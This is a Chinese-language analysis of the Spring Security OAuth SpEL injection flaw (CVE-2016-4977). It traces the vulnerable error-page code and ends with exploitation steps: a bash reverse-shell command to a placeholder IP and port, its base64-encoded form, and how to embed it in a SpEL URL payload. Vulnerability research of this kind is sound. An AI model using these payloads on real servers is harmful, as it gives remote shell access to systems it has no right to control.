Spring框架是由于软件开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言,绝大部分Java应用都可以从Spring中受益。
Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言.
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
下图的
${4*4}就是执行的SpEL表达式。
下述代码在使用
Whitelabel views来处理错误时,程序是通过oauthError.getSummary()来获取错误信息。
请求中的${4*4}已经被带入了errorSummary中,然后errorSummary被装入model中,再用SpelView进行渲染。
@FrameworkEndpoint
public class WhitelabelErrorEndpoint {
private static final String ERROR = "<html><body><h1>OAuth Error</h1><p>${errorSummary}</p></body></html>";
@RequestMapping("/oauth/error")
public ModelAndView handleError(HttpServletRequest request) {
Map<String, Object> model = new HashMap<String, Object>();
Object error = request.getAttribute("error");
// The error summary may contain malicious user input,
// it needs to be escaped to prevent XSS
String errorSummary;
if (error instanceof OAuth2Exception) {
OAuth2Exception oauthError = (OAuth2Exception) error;
errorSummary = HtmlUtils.htmlEscape(oauthError.getSummary());
}
else {
errorSummary = "Unknown error";
}
model.put("errorSummary", errorSummary);
return new ModelAndView(new SpelView(ERROR), model);
}
}
跟进SpelView:
render通过helper取${}中的值作为表达式,再用parser.parseExpression来执行,跟进一下replacePlaceholders这个函数,
class SpelView implements View {
...
public SpelView(String template) {
this.template = template;
this.context.addPropertyAccessor(new MapAccessor());
this.helper = new PropertyPlaceholderHelper("${", "}");
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {
Expression expression = parser.parseExpression(name);
Object value = expression.getValue(context);
return value == null ? null : value.toString();
}
};
}
...
public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)
throws Exception {
...
String result = helper.replacePlaceholders(template, resolver);
...
}
}
跟进replacePlaceholders:
如果表达式的值中有${xxx}这样形式的字符串存在,就会再取xxx作为表达式来执行。
public String replacePlaceholders(String value, final Properties properties) {
Assert.notNull(properties, "\'properties\' must not be null");
return this.replacePlaceholders(value, new PropertyPlaceholderHelper.PlaceholderResolver() {
public String resolvePlaceholder(String placeholderName) {
return properties.getProperty(placeholderName);
}
});
}
将请求地址中的SpEL语句:${4*4}替换为我们需要执行的SpEL语句即可利用。
反弹shell方式如下:
bash -i >& /dev/tcp/U-IP/Port 0>&1
Base64编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9VLUlQL1BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}
POC(点击获取):将反弹shell语句转变为SpEL语句。执行poc后,在Enter message to encode:后填入经过base64编码的反弹shell语句。

将生成的SpEL表达式替换掉URL地址中的${4*4},监听端执行监听。

参考地址:
https://paper.seebug.org/70/
https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.zh-cn.md